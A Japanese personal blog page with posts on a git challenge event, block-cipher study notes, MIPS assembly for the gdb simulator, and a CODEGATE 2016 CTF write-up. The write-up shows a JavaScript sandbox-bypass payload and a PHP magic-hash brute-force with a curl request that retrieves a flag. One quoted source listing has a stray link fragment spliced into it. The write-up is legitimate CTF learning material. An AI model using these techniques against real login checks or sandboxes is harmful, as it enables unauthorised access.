ヾノ*>ㅅ<)ノシ帳

ノンジャンルのふりーだむなブログです。

git challenge 参加したよーヾノ*>ㅅ<)ノシ(2016/8/21)

禁則事項☆を犯さないようにぼかし気味で書きますよ)

※写真はmixiの方が撮影したものです

概要

2016年8月21日(日)に、mixiグループ主催の1dayイベント「git challenge」にtomoriで参加しました(アッ

会場にはエンジニアと人事(!)の方、参加者16名のみなさんがいらしゃいました。

# 会場(=mixiの本社)があるビルはコンサートホールのようなシックな内装です。
# 1つクソな点を挙げるとしたら、エレベータのボタンがどこにあるのかわかりにくいところです(写真なし)。

11時開始、19時終了のイベントです。競技時間は3時間くらいだったと思います。

午前の部

お昼の前にチュートリアルがありました。

github.com

の内容そのままでした。 あとは自動ジャッジシステムとしてCircleCIが採用されていて、それの利用登録もしました。 CircleCIは初めてでしたが、hookの設定やビルドターゲットの設定は簡単に行えました。 (設定ファイルの書き換えが面倒くさそうですね。) CircleCIのコンテナにsshすると、チェッカースクリプト含めて何でも見れてしまうらしく、ssh接続即失格のルールまでありました。

おひる!

8/21はハワイ州爆誕的な日なやつらしく、その関係でハワイ特集でした。

f:id:katc:20160823002200j:plain

ガーリックなんちゃらのお弁当を取りましたが、油っこかったです…(美味しいんですけどね)。 大盛りも選べるようになってて、僕はそれを食べられたので満足です。

お昼ご飯は各チームが自分の席で座って食べました。 チューターさんも同席されてて、次のようなお話をしました。

  • mixiのサービスで、glibc mallocでなく、googlemallocの実装(TCMalloc)を採用して性能比較してみた件
  • 僕(@K_atc)がrubyでなくpythonにこだわる理由(pythonのライブラリの品揃えの観点でお話したんだけど、伝わったのかな…)
  • 技術的な困難さで古いperlで書かれたサービスを使い続ける場合と、既存アプリケーションを別の言語・上位バージョンで書き直す場合のコスト面での比較
  • JSフレームワークmixiはReact+AngularJS 2厨?)とテストフレームワーク

僕はReactをちらっとしか見てないですが、チューターさんいわく、変にTypeScriptとかで書くのでなく、おとなしくJSXで書いたほうが何かと楽らしいっす。

# 専門外の話を振り気味でスミマセンでしたヾ(。>﹏<。)ノ゙

競技前の準備

各チームのgithub organization?に問題のprivate repoのinviteを受け取って、そのリポジトリをCircleCIに追加する作業をしました。 全リポジトリ(全18個=全18問)を手動で追加する簡単な作業です(白目)

競技!(約3時間)

問題は全18問でレベル1からレベル6までありました。 レベルの値(星の数)=点数です。 僕はレベル1を1つ、レベル2を3つ解いて終了しました😇

問題を解いていて困ったことがあればチューターさんにいろいろ尋ねることができます。 僕も結構助けていただけました〜><(ありがとうございます!) 知見などは次の節にまとめて書きます。

force pushなどでリモートリポジトリをぶっ壊してリセットしたい場合は、前のボタン(赤緑の2つあるがどちらを押してもいいとのこと)を押してhuman workerを起動し、チーム名とリセット対象リポジトリを引数にしてイベントを発火します。しばらくするとリセットされます。 問題なのはボタンを押すとピポーンとデカイ音が鳴ることです。

おやつ(リラックマ化)

ハワイ特集なのでマラサダというドーナッツとジュースが振る舞われました。

f:id:katc:20160823002226j:plain

競技終了&解説会

CTFと違って、Writeup禁止(※お察しの通り問題は使い回し)なのでぼかして知見をまとめます。

  • gitの便利なサブコマンドたちを活用しよう
    • show : チェックアウトなしでいろいろなブランチ/コミットのファイルを見れたり、コミット内容を見れたりする
    • reflog : 操作履歴と、その操作の取り消し
    • bisect : 問題のあるコミットを二分探索できる
    • log : オプションいっぱい。grep正規表現にクセがあるので要注意
  • リモートがローカルよりも先に進んでいる&手元のブランチをmasterにマージする必要があるときはpull/mergeの順番に注意
  • .gitの中身にもそろそろ詳しくなろう
  • レベル2に3つ以上のサービス問題がある(知っていれば瞬殺可能←その問題はノーチェックだったのでつらい…)
  • SourceTreeゴリ押しで一位になれる

一人の絶大な貢献で上位に入れる傾向がありました(1チーム2人でした)。 次参加される方は、自分の力でチームを勝利に導ける程度の筋肉をつけておきたいところですね。

結果発表

うちのBチームは中位でした。はい😇

1位〜3位までが表彰されました。 商品は Octocat 大or小 でした。 1位は例によってメダル授与です(イイナー)。 表彰された方については、当人がブログやツイッターで自慢しているかと思いますので敢えて書きません。

懇親会(タダ飯!)

油!油!(えらくクオリティ高かったです)

[写真なし]

余りを翌日の朝食として持ち帰ることができました(ありがたや〜)。

今日だけで2回、なんで(友利奈緒)着てないのと言われてしまいました><
次のときは着ますよ?いいんですね?

今回で3回目の開催だそうです。 それにしてもジャッジシステムも落ちずに稼働してましたし、安定した運営でした。すごい💪

某インフラエンジニアさんを参加者数名で囲って伺った話(とても興味深い内容でした):

  • その方の仕事内容
  • ラックサーバーの入れ替えはいい運動になる
  • アプリケーション・データベースサーバーの配置と構成
  • AWSは○
  • 外注するときの話
  • チート対策

総括

mixiの皆様、貴重な機会をありがとうございました。
商業的な匂いやリクルーティングの匂いを最小限に抑えられていて良かったと思います(=勉強会に近い雰囲気)。
ただ、名札に大学名・高専名を書く意味って全然ないよなー思いました(そういう思想の会社なのかなと思われても仕方ないですね)。
# 個人の技能とその大学が授業・講義としてやったことはほぼ無関係ですよね…

僕のgit力はまだまだだなぁと思いました。サブコマンドで便利そうなのが結構ありそうなので覚えていこうと思いました。
# そろそろCTF対策で.gitの中身を熟知したほうがいいかもしれない

CTFでもそうですが(最近は改善傾向)、僕がサービス問題を見落としがちなのは本当に良くないなぁという感想です😇

『暗号理論入門』(丸善出版)勉強メモ 4.8.1 ECBモード

大学の本屋で15%OFFのセールがあった日に『暗号理論入門』(丸善出版)を買いました。\高い/

暗号理論入門 原書第3版

暗号理論入門 原書第3版

以下は 4.6節の「ブロック暗号」と、4.8節の「ブロック暗号のモード」のうち4.8.1節「ECBモード」の勉強メモです。 といってもすんなり理解できなかった所に自分の説明を追加しただけです。

準備

定義 4.6.1 ブロック暗号とは、平文空間と暗号文空間が {\Sigma}^n である暗号方式であるとする。ここで、 {\Sigma}^n はアルファベット {\Sigma} 上の長さ n の全ての語の集合である。ブロック長 n自然数である。

定理 4.6.2 ブロック暗号の暗号化関数は置換である。

証明省略

最も一般的なブロック暗号を以下のように説明することができる。ブロック長 n と一つのアルファベット \Sigma を固定するとする。平文空間と暗号文空間は  \mathcal{P} = \mathcal{C} = {\Sigma}^n とする。 鍵空間は、 {\Sigma}^n 上のすべての置換の集合 S({\Sigma}^n) とする。一つの鍵 \pi \in S({\Sigma}^n) に暗号化関数

 E_{\pi}: {\Sigma}^n \rightarrow {\Sigma}^n, \quad \vec{v} \mapsto \pi(\vec{v})

が対応する。これに対する復号化関数は

 D_{\pi}: {\Sigma}^n \rightarrow {\Sigma}^n, \quad \vec{v} \mapsto {\pi}^{-1}(\vec{v})

である。

この本では次の置換暗号を取り上げていました。

置換暗号を考えてみると、この暗号では記号の位置の変換により成立する置換のみを使う。 \Sigma = \{0, 1\} であれば、この置換はビット置換である。 鍵空間は置換群 S_n である。 \pi \in S_n に対して、

 E_{\pi}: {\Sigma}^n \rightarrow {\Sigma}^n, \quad (v_1, \ldots, v_n) \mapsto (v_{\pi(1)}, \ldots, v_{\pi(n)})

とおけば、それに対する復号化関数は

 D_{\pi}: {\Sigma}^n \rightarrow {\Sigma}^n, \quad (x_1, \ldots, x_n) \mapsto x_{{\pi}^{-1}\,(1)}, \ldots, x_{{\pi}^{-1} \,(n)}

であるので、鍵空間は  n! 個の元をもち、個々の鍵は  n 個の数の数列としてコード化できる。

ECBモードの例題

ここからが僕がハマった箇所です。

例 4.8.1 長さ  4 のビットベクトル上でビット置換を行うブロック暗号を考える。すなわち、アルファベット  \Sigma = \{0, 1\} とブロック長  4 の置換暗号を考える。ここでは  \mathcal{K} = S_4 であり、  \pi \in S_4 に対して

 \{0, 1\}^4 \rightarrow \{0, 1\}^4, \quad b_1 b_2 b_3 b_4 \mapsto b_{\pi (1)} b_{\pi (2)} b_{\pi (3)} b_{\pi (4)}

となる。 平文  m

 m = 101100010100101

とし、鍵を

$$ \pi = \begin{pmatrix} 1 & 2 & 3 & 4 \\ 2 & 3 & 4 & 1 \end{pmatrix} $$

とする。

ブロック長が4なので、この長さでmをブロックに分けます。

 m_1 = 1{\color{red}0}11, m_2 = 000{\color{red}1}, m_3 = 0100, m_4 = 1010

さて  m_1, m_2, m_3, m_4 を10進変換するとそれぞれ  11, 1, 4, 10 なのですが、  \pi で置換できなそうですね。 …と考えるのはダメで、問題文をよく読まないといけません。(僕は問題文をよく読まない人です。) 「置換暗号」と書いてありますね?しかも「ビット置換」をするとあります。 準備で説明したことを思い出すと、 \pi の見方は、 各 n 番目の数をそれぞれ  \pi(n) 番目に持っていくということです。 下位ビットから  1, \ldots, n 番目という割り当てです。 例えば  m_1 の3番め(0)と  m_2の1番目(1)はそれぞれ4番めと2番めに移動します。 よって、各ブロックの暗号化の結果は、

 c_1 = E_{\pi}(m_1) = {\color{red}0}111, c_2 = E_{\pi}(m_2) = 00{\color{red}1}0, c_3 = E_{\pi}(m_3) = 1000, c_4 = E_{\pi}(m_4) = 0101

で、暗号文は

 c = {\color{blue}{0111}}0010{\color{blue}{1000}}0101

になります。


はてなブログの数式モードクソすぎだね。 そういえば4.10節の「アフィン暗号」を読んでいるときに network & crypto なCTFの問題を思いつきました。

kozosのcross-gcc4でmipsアセンブリをコンパイルし、gdbのsimで実行する

mips書くのは久しぶりでいろいろミスっているかもしれない)

動作環境

kozosのVMイメージのcross-gcc4が入った方

アセンブリ

C言語で書くとこんな感じのアセンブリを書く

#include <unistd.h>
int main(){
    write(1, "Hello World\n", 12); // stdout = 1
    return 0;
}

愚直にmipsアセンブリに落とし込むとこんな感じだろうか。いろいろ足りないので順を追って埋めていこう。

    .data
hello:
    .asciiz "Hello World\n"

    .text
    # write(1, hello, 12);
    lw $ra, 4($sp)      # restore return address

write()を書く

write()関数はmipsで書くとどんな感じなのだろうか。 とりあえず今回はgdbのsimで動かすのでソースを見てwrite()のアセンブリを調べる。

『熱血!アセンブラ入門』を読むとsim向けにmipsアセンブリを書いてみたがあるのでそれを参考にすると、 sim/mips/interp.cあたりを読めばシミュレータ向けのwrite()を発行する方法が分かる。

https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;a=blob;f=sim/mips/interp.c;h=9dbac8c58fc76f8a3e54c9819037c25bc0a495b6;hb=HEAD

1162 /* Simple monitor interface (currently setup for the IDT and PMON monitors) */
1163 int
1164 sim_monitor (SIM_DESC sd,
1165              sim_cpu *cpu,
1166              address_word cia,
1167              unsigned int reason)
1168 {
1176   reason >>= 1;
1181   switch (reason)
1182     kan++>STM32F>リンカスクリプト](http://www.usamimi.info/~mikanplus/stm32f/linker_script.htm){
    ...
1203     case 8: /* int write(int file,char *ptr,int len) */
1204       {
    ...
1216       }
    ...
1254     case 17: /* void _exit() */
1255       {
1256         sim_io_eprintf (sd, "sim_monitor(17): _exit(int reason) to be coded\n");
1257         sim_engine_halt (SD, CPU, NULL, NULL_CIA, sim_exited,
1258                          (unsigned int)(A0 & 0xFFFFFFFF));
1259         break;
1260       }

swtich-case に入ったときに reason が 8 になったときにwrite()ができる。 sim_monitor()を呼び出す命令列の条件を調べよう。

1783        if ((instruction & RSVD_INSTRUCTION_MASK) == RSVD_INSTRUCTION)
1784          {
1785            int reason = (instruction >> RSVD_INSTRUCTION_ARG_SHIFT) & RSVD_INSTRUCTION_ARG_MASK;
1786            if (!sim_monitor (SD, CPU, cia, reason))
1787              sim_io_error (sd, "sim_monitor: unhandled reason = %d, pc = 0x%s\n", reason, pr_addr (cia));
1788 
1789            /* NOTE: This assumes that a branch-and-link style
1790               instruction was used to enter the vector (which is the
1791               case with the current IDT monitor). */
1792            sim_engine_restart (SD, CPU, NULL, RA);
1793          }

(instruction & RSVD_INSTRUCTION_MASK) == RSVD_INSTRUCTIONがその条件のようだ。 マクロを展開するとこのようになる:instruction & 0xFC00003F == 0x39

  75 #define RSVD_INSTRUCTION           (0x00000039)
  76 #define RSVD_INSTRUCTION_MASK      (0xFC00003F)

なんだけど、これは嘘で、RSVD_INSTRUCTIONが5でないとVMの方で動作しないはず。 5が39になったのはこのコミットのせいらしい。

というわけで、正しくはinstruction & 0x3F == 0x5

ついでにinterp.cを調べると、 sim_monitorに入る前のreasonの値は、sim_monitorのswitch-case文のcaseの値をxとして ((x << 1) << RSVD_INSTRUCTION_ARG_SHIFT) & RSVD_INSTRUCTION_ARG_MASK つまり x << 7 に等しい。

  78 #define RSVD_INSTRUCTION_ARG_SHIFT 6
  79 #define RSVD_INSTRUCTION_ARG_MASK  0xFFFFF  

というわけで、お望みの関数を呼びたいときはswitch-caseのcaseの値をxとして次の命令(instruction)を書けば良い: .long (x << 7 | 0x5) 書くときは()内の式を計算してからにする。例えばwrite()の場合はx=8なので .long (8 << 7) | 0x5 つまり .long 0x405アセンブリ命令として書くとwrite()をシミュレータで呼ぶことができる。

__write:
    # sim/mips/interp.c (case 8: write())
    .long 0x405     # 8 << 7 | 0x5 = 0x400 | 0x5 -
    jr $ra
    nop

スタートアップルーチン

プログラムを実行するためにまず初期化の処理をする。 コンパイラが自動でしてくれない以下の処理を自分で記述せねばならない。

  • スタックポインタの設定
  • レジスタの設定
  • BSSセクションの初期化(今回は変数を使用しないため割愛する)
  • main()などのメインの処理をする関数の呼び出し
  • main()終了後の処理

『熱血!アセンブラ入門』を参考に以下のスタートアップルーチンを書いた。 32ビットのスタックポインタの設定が一命令で完結しないのは即値が16ビットの幅しかないためである。

また、_startgccにスタートアップのシンボルとして認識してもらうために、_startシンボルを.globl(.global)ディレクティブでエクスポートした。

.globl _start
_start:
    lui $sp, %hi(_estack)
    addiu $sp, $sp, %lo(_estack)
    jal main
    nop             # daley slot
    move $a0, $v0   # exit(0)

残りのアセンブリを書く

mipsでは関数の引数はregister渡しである。第一引数は$a0、第二引数は$a1という具合だ。 write()を呼び出すアセンブリはこのようになる。

    # in mips, function parameters are passed by registers
    li $a0, 1
    la $a1, hello
    li $a2, 12
    jal __write         # write(stdout, "Hello World\n", 12)

mainが終了した後はexit()でシミュレーションを終了させたい。 exit()はこのように書けばシミュレータを終了させることができる。

_exit:
    # sim/mips/interp.c (case 17: _exit())
    .long 0x885     # 17 << 7 | 0x5 = 0x880 | 0x005 
    jr $ra
    nop             # delay slot

最後に気をつけたいのはリターンアドレスを関数を呼び出す前に保存し、関数から戻ったらそれを復元することだ。 mipsで関数funcを扱うとき、呼び出しはjal funcと書き、呼び出し元に戻る処理はjr $raと書く。 mipsjal(jump and link)命令はリターンアドレスレジスタ$raに現在の$pcの値をセットする。 $raは呼び出し1回ぶんしか保存できないので、例えばmain()→write()と呼び出したとき、write()を呼び出しで$raが上書きされ、 main()でjr $raをしてmain()の呼び出し元に戻ることができなくなってしまう。 jr(jump register)命令はターゲットのレジスタに入っているアドレスにジャンプする命令である。 対策としてmain()で$raをスタックに保存&リストアする処理を書く(hello.s参照)。

完成したソースhello.sとし保存する。

    .data
hello:
    .asciiz "Hello World\n"

    .text
.globl _start
_start:
    lui $sp, %hi(_estack)
    addiu $sp, $sp, %lo(_estack)
    subu $sp, $sp, 4
    sw $ra, 0($sp)
    jal main
    nop             # daley slot
    lw $ra, 0($sp)
    addu $sp, $sp, 4    
    move $a0, $v0   # exit(0)

_exit:
    # sim/mips/interp.c (case 17: _exit())
    .long 0x885     # 17 << 7 | 0x5 = 0x880 | 0x005 
    jr $ra
    nop         # delay slot

__write:
    # sim/mips/interp.c (case 8: write())
    .long 0x405     # 8 << 7 | 0x5 = 0x400 | 0x5 -
    jr $ra
    nop

main:
    subu $sp, $sp, 4    # push stack
    sw $ra, 0($sp)      # save return address
    # in mips, function parameters are passed by registers
    li $a0, 1
    la $a1, hello
    li $a2, 12
    jal __write         # write(stdout, "Hello World\n", 12)
    lw $ra, 0($sp)      # restore return address
    addu $sp, $sp, 4    # pop stack
    li $v0, 0           # return 0
    jr $ra
    nop

リンカスクリプト

さーて書けたぞーということでstdlibなしでコンパイルしたいところだが、_estakの値(スタックポインタの初期位置)をコンパイルに教えねばならない。 また、メモリのマッピングgdbのsimに合わせねばならない。 これを実現するのがリンカスクリプトである。 リンカスクリプトを書くために以下の情報が必要である。

  • エントリポイントのアドレス
  • スタック領域の終わりのアドレス(スタックはアドレスが小さい方に向かって伸びる)

情報を集める前にmipsのメモリマップの図が欲しいところだ。幸いWikipediaのR3000の頁にあった。

R3000のメモリマップ

sim/mips/interp.cを探すと以下のアドレスの情報を見つけることができる。

 121 /* Note that the monitor code essentially assumes this layout of memory.
 122    If you change these, change the monitor code, too.  */
 123 /* FIXME Currently addresses are truncated to 32-bits, see
 124    mips/sim-main.c:address_translation(). If that changes, then these
 125    values will need to be extended, and tested for more carefully. */
 126 #define K0BASE  (0x80000000)
 127 #define K0SIZE  (0x20000000)
 128 #define K1BASE  (0xA0000000)
 129 #define K1SIZE  (0x20000000)

先ほどの図から察するに、プログラムはkナントカのスペースを使えば良さそうなので、 K0BASEの値をエントリポイント、K1BASE+K1SIZE-4を_estackの値にする (細かいことを気にしなければ_estackがK1BASEでも問題なく動く)。

完成したリンカスクリプトが以下のmips.ldsである。

ENTRY(_start)

OUTPUT_FORMAT("elf32-bigmips", "elf32-bigmips", "elf32-big-mips");

/* sim/mips/interep.c: K1BASE + K1SIZE - 4 */
_estack = 0xBFFFFFFC;

SECTIONS
{
  /* sim/mips/interep.c: K0BASE */
  . = 0x80000000;
  .text : {
    _ftext = . ;
    PROVIDE (eprol = .);
    *(.text)
    *(.text.*)
  }
}

コンパイル

stldlibなしで、先のリンカスクリプトを指定してコンパイルする。

[user@localhost mips]$ mips-elf-gcc -T mips.lds -nostdlib 1.s

実行

2通りで実行してみた。 sim_monitorのメッセージが嫌な人は回避策が『熱血!アセンブラ入門』に書かれているので購入をすすめる(ステマ)。 ヒントはsleep()

gdbのシミュレータに接続して実行する方法

一回目のrで怒られたのはわざとやで((((;゚Д゚))))

[user@localhost mips]$ mips-elf-gdb -q a.out 
Reading symbols from /home/user/project/mips/a.out...(no debugging symbols found)...done.
(gdb) target sim
Connected to the simulator.
(gdb) r
Starting program: /home/user/project/mips/a.out 
warning: No program loaded.
[Inferior 1 (process 42000) exited with code 057]
(gdb) load
Loading section .text, size 0x80 vma 0x80000000
Loading section .data, size 0xd vma 0x80000080
Start address 0x80000000
Transfer rate: 1128 bits in <1 sec.
(gdb) r
Starting program: /home/user/project/mips/a.out 
Hello World
sim_monitor(17): _exit(int reason) to be coded
[Inferior 1 (process 42000) exited normally]
(gdb) q

runで実行する方法

[user@localhost mips]$ mips-elf-run a.out 
Hello World
sim_monitor(17): _exit(int reason) to be coded

参考文献


この辺の話が好きな方は組込み技術者向け「初めてのC言語」にアクセスするとよいだろう。 (ドメインから察するに名大の情報コースの高田研の人が書いたっぽい。さすが…)

CODEGATE 2016 Quals - Writeup

i participated in CODEGATE 2016 Quals as a member of Ping-Mic.

solved:

  • JS_is_not_a_jail (misc100)

helped to solve:

  • Combination Pizza (web222)

JS_is_not_a_jail

First, i checked challenge100 function.

[JavaScript Jail]
let start to type on 'challenge100'
V8 version 5.1.0 (candidate)
d8> challenge100
function (arr) {
        var random_value = "ac1a39300ce7ee8b6cff8021fd7b0b5caf5bc1c316697bd8f22e00f9fab710d6b8dba23ca80f6d80ca697e7aa26fd5f6";
        var check = "20150303";

        if((arr === null || arr === undefined)) {
            print("arr is null or undefined.");
            return;
        }

        if(!arr.hasOwnProperty('length')) {
            print("length property is null or undefined.");
            return;
        }

        if(arr.length >= 0) {
            print("i think you're not geek. From now on, a GEEK Only!");
            return;
        }

        if(Object.getPrototypeOf(arr) !== Array.prototype) {
            print("Oh.... can you give me an array?");
            return;
        }

        var length = check.length;
        for(var i=0;i<length;i++) {
            arr[i] = random_value[Math.floor(Math.random() * random_value.length)];
        }

        for(i=0;i<length;i++) {
            if(arr[i] !== check[i]) {
                print("Umm... i think 2015/03/03 is so special day.\nso you must set random value to 20150303 :)");
                return;
            }
        }
        print("Yay!!");
        print(flag);
    }
d8> 

Next, I made class MyArray. It has length propaty which returns -1, and its value cannot be re-write. To prohibit re-write value, i used Object.defineProperty().

MyArray = function (){
    this.__proto__ = Array.prototype;
    this[0] = "2";
    this[1] = "0";
    this[2] = "1";
    this[3] = "5";
    this[4] = "0";
    this[5] = "3";
    this[6] = "0";
    this[7] = "3";
    this.length = -1;
    return this;
};
var _arr = MyArray();
console.log(Object.getOwnPropertyNames(_arr));
for(var i = 0; i <= 7; i+=1){
    _arr = Object.defineProperty(_arr, i.toString(10), {
        writable: false
    });
}
console.log(_arr.length);

challenge100(_arr);

function challenge100 (arr) {
    var random_value = "ac1a39300ce7ee8b6cff8021fd7b0b5caf5bc1c316697bd8f22e00f9fab710d6b8dba23ca80f6d80ca697e7aa26fd5f6";
    var check = "20150303";
    var print = console.log;
    var flag = "test_flag{this is test}";

    if((arr === null || arr === undefined)) {
        print("arr is null or undefined.");
        return;
    }

    if(!arr.hasOwnProperty('length')) {
        print("length property is null or undefined.");
        return;
    }

    if(arr.length >= 0) {
        print("i think you're not geek. From now on, a GEEK Only!");
        return;
    }

    if(Object.getPrototypeOf(arr) !== Array.prototype) {
        print("Oh.... can you give me an array?");
        return;
    }

    var length = check.length;
    for(var i=0;i<length;i++) {
        arr[i] = random_value[Math.floor(Math.random() * random_value.length)];
    }
    console.log(arr);

    for(i=0;i<length;i++) {
        if(arr[i] !== check[i]) {
            print("Umm... i think 2015/03/03 is so special day.\nso you must set random value to 20150303 :)");
            return;
        }
    }
    print("Yay!!");
    print(flag);
}

Third, i ran this code locally to see if it works. node is good for debugging environment.

Finally, i formatted this code, and pasted to JavaScript Jail.

MyArray = function (){this.__proto__ = Array.prototype; this[0] = "2"; this[1] = "0"; this[2] = "1"; this[3] = "5"; this[4] = "0"; this[5] = "3"; this[6] = "0"; this[7] = "3"; this.length = -1; return this; }; 
var _arr = MyArray();
console.log(Object.getOwnPropertyNames(_arr));
for(var i = 0; i <= 7; i+=1){_arr = Object.defineProperty(_arr, i.toString(10), { writable: false });}
$ nc 175.119.158.131 1129 
[JavaScript Jail]
let start to type on 'challenge100'
V8 version 5.1.0 (candidate)
d8> MyArray = function (){this.__proto__ = Array.prototype; this[0] = "2"; this[1] = "0"; this[2] = "1"; this[3] = "5"; this[4] = "0"; this[5] = "3"; this[6] = "0"; this[7] = "3"; this.length = -1; return this; }; 
var _arr = MyArray();
console.log(Object.getOwnPropertyNames(_arr));
for(var i = 0; i <= 7; i+=1){_arr = Object.defineProperty(_arr, i.toString(10), { writable: false });}
challenge100(_arr);MyArray = function (){this.__proto__ = Array.prototype; this[0] = "2"; this[1] = "0"; this[2] = "1"; this[3] = "5"; this[4] = "0"; this[5] = "3"; this[6] = "0"; this[7] = "3"; this.length = -1; return this; }; 
function (){this.__proto__ = Array.prototype; this[0] = "2"; this[1] = "0"; this[2] = "1"; this[3] = "5"; this[4] = "0"; this[5] = "3"; this[6] = "0"; this[7] = "3"; this.length = -1; return this; }
d8> var _arr = MyArray();
undefined
d8> console.log(Object.getOwnPropertyNames(_arr));
(d8):1: ReferenceError: console is not defined
console.log(Object.getOwnPropertyNames(_arr));
^
ReferenceError: console is not defined
    at (d8):1:1

d8> for(var i = 0; i <= 7; i+=1){_arr = Object.defineProperty(_arr, i.toString(10), { writable: false });}
[]
d8> 
challenge100(_arr);challenge100(_arr);
Yay!!
flag is "easy xD, get a more hardest challenge!"
undefined

Combination Pizza

This is _login_ck.php:


<?php
    include "./lib/for_flag.php";
    include "./lib/lib.php";

    $user = mysql_real_escape_string($_POST['user']);
    $pass = mysql_real_escape_string($_POST['pass']);
    $token = $_POST['token'];

    $que = "select user from login where user='{$user}' and pass=md5('{$pass}')";
    $result = mysql_query($que);
    $row = mysql_fetch_array($result);

    if($row['user'] == 'Admin')
    {
        if(md5("blog".$token) == '0e689047178306969035064392896674')
        {
            echo "good job !!!<br />FLAG : <b>".$flag."</b>";
        }
        else
        {
            echo "Incorrect Token";
        }
    }
    else
    {
        echo "Incorrect ID or Password";
    }

?>

i noticed that md5("blog".$token) == '0e689047178306969035064392896674' should be 0 == 0 (numeric compare) in a cirtain $token. @mrtc0 found this post:

PHP: md5('240610708') == md5('QNKCDZO') | Hacker News

So i ran this php script:

<?php
$test = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "p", "Q", "R", "S", "T", "U"];
for($i = 0, $len = count($test); $i < $len; $i += 1){
for($j = 0, $len = count($test); $j < $len; $j += 1){
for($k = 0, $len = count($test); $k < $len; $k += 1){
for($l = 0, $len = count($test); $l < $len; $l += 1){
for($m = 0, $len = count($test); $m < $len; $m += 1){
    $token  = "\n" . $test[$i] . $test[$j] . $test[$k] . $test[$l] . $test[$m];
    if(md5("blog".$token) == '0e689047178306969035064392896674'){
        echo "\$token = " . urlencode($token) . "\n    => " . md5("blog".$token) . "\n";
    }
}
}
}
}
}
$ php ./web222_n.php
$token = %0AtDMwy
    => 0e163908937933900237353340463810

Good!! $token = "%0AtDMwy" gives me the flag:

curl http://175.119.158.137:9242/f00885da9ad9ad5fcccaa8fc1217e3ae/login_ck.php -d "user=Admin" -d "pass=adminpw" -d 'token=%0AtDMwy' 
good job !!!<br />FLAG : <b>jjambbong_WEBHACKING!!@!</b

paizaオンラインハッカソン Vol.7「プログラミングで彼女をつくる」 水着問題 [python]

paiza.hatenablog.com

これを受けて、水着問題の回答が思ったのと違ったので上げておきます。

問題

POH 「水着」ゲットチャレンジ!

階乗とは数学の演算の一つで、N の階乗をN! と書きます。N が自然数であるとき、階乗は次のように計算できます。

N! = N * (N - 1) * ... * 2 * 1

N が与えられたとき、N! のすべての桁の代わりに、N! の最下位桁から続く0 をすべて除いた値の下位9桁を求めるプログラムを作成してください。 9桁ではあるが先頭が0であるような場合は先頭の0を取り除いた値を出力してください。先頭に0のついた値を出力すると誤答となります。

例えば N = 38 の時は以下のようになります。 ※画像は問題のサイトより

コード

必要な桁だけを計算するように最適化しました(桁数をカットしながらやらないと制限時間を超えてしまう…)

import re
#from functools import *
from time import sleep
#from math import factorial

pattern = re.compile("(\d{9})0*$")
    
def _format(n):
    t = str(n)
    if len(t) < 9:
        t = str(int(t[::-1]))[::-1]
    else:
        t = pattern.search(t).group(1)
    return int(t)
    
#@lru_cache(maxsize=None)
def factorial(n):
    ret = 1
    for i in range(1, n+1):
        if i % 10 == 0:
            ret = _format(ret * i)
        else:
            ret *= i
    return _format(ret)

i = input()
n = int(i)
try:
    print(factorial(n))
except:
    sleep(10) # 実行エラーが起きたことを分かるようにするため

実行結果


杏ちゃんは茶髪の制服姿が一番かわいいと思う

Linux KernelのネットワークI/Oに関わる脆弱性まとめ

Linux Linux Kernel : CVE security vulnerabilities, versions and detailed reportsで目grepで探したので見落としはあるかも